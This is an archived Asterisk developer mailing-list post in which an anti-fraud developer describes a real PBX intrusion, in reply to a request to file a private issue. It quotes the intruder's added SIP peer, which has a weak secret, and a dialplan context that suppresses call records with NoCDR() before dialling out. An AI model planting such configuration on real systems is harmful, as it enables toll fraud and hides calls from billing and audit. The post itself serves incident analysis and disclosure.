[asterisk-dev] New Feature Idea

[Nir Simionovich]

  On 9/27/2010 5:37 PM, Paul Belanger wrote:
> On Sun, Sep 26, 2010 at 7:11 AM, Nir Simionovich
> <nir.simionovich at gmail.com>  wrote:
>>    As some of you know, I'm currently involved in developing an
>> Anti-Fraud system.
>> I've recently analyzed an Asterisk hack that happened about 2 weeks ago.
>> The hack
>> involved the hacking of the "asterisk-config" tool via an insecure
>> website, then
>> adding a new context with "NoCDR" application in it.
>>
> If you are able to reproduce this, I would open a private issue on
> https://issues.asterisk.org so we can triage this issue.  Include all
> relevant .config files, and method to reproduce.
Well,

reproduction is really simple, the attacked modified 2 files using the 
phpconfig tool, then reloaded
the Asterisk configuration through FreePBX. He simply added the 
following to sip_custom.conf:

[test]
secret=test
host=dynamic
context=from-test
disallow=all
allow=ulaw
allow=alaw

Then added the following to extensions_custom.conf:

[from-test]
exten => _X.,1,NoCDR()
exten => _X.,n,Dial(ZAP/R1/${EXTEN})

That's it. Any call generated via the from-test context would simply 
register no CDR records.

Nir